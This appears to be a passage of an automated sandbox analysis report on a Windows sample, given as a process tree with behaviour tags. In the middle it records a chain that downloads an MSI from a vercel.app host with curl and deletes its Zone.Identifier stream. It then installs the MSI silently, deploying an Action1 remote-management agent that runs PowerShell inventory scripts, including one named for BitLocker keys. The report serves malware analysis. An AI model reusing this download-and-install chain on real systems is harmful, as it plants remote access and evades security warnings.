    3⤵
    PID:3800
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6904,i,12804716408500082517,8461727217045637617,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=6920 /prefetch:14
    3⤵
    PID:5660
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3912,i,15089496769220817416,9796865956767104078,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:14
    3⤵
    PID:3332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6208,i,12050712074297895407,3583150527273716683,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=7068 /prefetch:14
    3⤵
    PID:2996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6232,i,16713417669554039257,18037622779597220291,262144 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=7044 /prefetch:10
    3⤵
    PID:4200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5744,i,1614572615705839691,228706638338159819,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:14
    3⤵
    PID:3748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3620,i,11659773766185754199,9455486873877904101,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:14
    3⤵
    PID:2004
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3904,i,13278042085647415264,17698682990678473935,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:14
    3⤵
    PID:4252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5704,i,13112405105867016766,5693351514737291783,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:14
    3⤵
    PID:4412
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5788,i,413079090818454224,8264979649790002533,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:14
    3⤵
    PID:2540
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3104,i,7602089776285539477,16464584576154296688,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5356 /prefetch:14
    3⤵
    PID:408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,10167668019915823746,13056589099913036584,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:14
    3⤵
    PID:4420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7124,i,12904058169396949618,1476055584127486181,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=7136 /prefetch:14
    3⤵
    PID:1804
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 3 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:932
- C:\Windows\SysWOW64\curl.exe
  "C:\Windows\System32\curl.exe" --silent --location --fail --output "C:\Users\Admin\AppData\Local\Temp\action1.msi" "https://stub-mu.vercel.app/action1.msi"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2004
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\action1.msi:Zone.Identifier"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4544
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 3 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4364
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /package "C:\Users\Admin\AppData\Local\Temp\action1.msi" /quiet /norestart
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:3624

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1264

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5852

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4648
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A5CEB32245A1933B6F1AAD2DE6E8938B
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3484
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 607F789528CF22CA0C145F4975C90C0E E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5328

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1068
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4820
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3368
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4652
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4888
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:696
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:940
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4716
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\System Information_2023-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3416
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Hardware Summary_2037-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3768
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:956
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Updates_2010-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1444
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Running Processes_2030-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1900
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MS Outlook Versions_2043-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5524
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Drivers_2024-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3048
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Installed Printers_2025-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4304
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Monitors_2026-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4072
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4516
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Services_2033-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4136
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Status_2064-1789648244.ps1"
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3148
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Bitlocker Key_2046-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4800
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Action1 Agent Configuration_2066-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4136
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update History_2044-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:2040
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Boot Configurations_2019-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:3524
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Statistics_2039-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:4516
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Open Shared Resources_2018-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:2668
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Connections to Internet Domains_2040-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:2956
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 134.33.185.99
    3⤵
    PID:3432
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.210.172
    3⤵
    PID:4824
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.140.94
    3⤵
    - Badlisted process makes network request
    PID:2188
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 2.21.64.187
    3⤵
    PID:1888
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.218
    3⤵
    PID:3812
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.210
    3⤵
    PID:4304
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.210
    3⤵
    PID:3552
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.214.172
    3⤵
    PID:2548
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.218
    3⤵
    PID:2108
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 52.41.75.35
    3⤵
    PID:956
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.214.172
    3⤵
    PID:4260
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.66
    3⤵
    PID:5852
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 64.29.17.195
    3⤵
    PID:1748
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 172.217.114.4
    3⤵
    PID:4620
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.27.11
    3⤵
    PID:3432
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.27.11
    3⤵
    PID:2788
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.28.11
    3⤵
    PID:4504
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 92.123.128.177
    3⤵
    - Badlisted process makes network request
    PID:4156
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 52.123.242.76
    3⤵
    PID:1760
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.140.94
    3⤵
    PID:3748
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.140.94
    3⤵
    PID:4552
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 52.123.242.76
    3⤵
    PID:812
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 64.29.17.3
    3⤵
    PID:4776
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 172.217.114.4
    3⤵
    PID:2668
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 104.18.22.222
    3⤵
    - Badlisted process makes network request
    PID:5536
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 172.217.114.4
    3⤵
    - Badlisted process makes network request
    PID:1084
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 64.29.17.195
    3⤵
    PID:1216
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 52.123.242.76
    3⤵
    PID:6120
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.117.100
    3⤵
    PID:2704
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.28.11
    3⤵
    - Badlisted process makes network request
    PID:2188
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.28.11
    3⤵
    PID:2040
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.27.11
    3⤵
    PID:260
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:956
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 85.210.193.152
    3⤵
    PID:2496
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 85.210.193.152
    3⤵
    PID:4252
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 23.11.40.157
    3⤵
    - Badlisted process makes network request
    PID:3048
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 2.21.64.133
    3⤵
    - Badlisted process makes network request
    PID:1084
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 20.190.159.23
    3⤵
    - Badlisted process makes network request
    PID:4156
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:3416
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:4504
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:5776
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:4740
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Environment Variables_2020-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:2292
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disks Summary_2042-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:2496
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\SCSI Controllers_2027-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  PID:940
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\NTFS Disk Quotas_2035-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:4640
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Applied GPO x0028RSoPx0029_2022-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:4752
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4136
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Antivirus Status_2045-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:5536
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
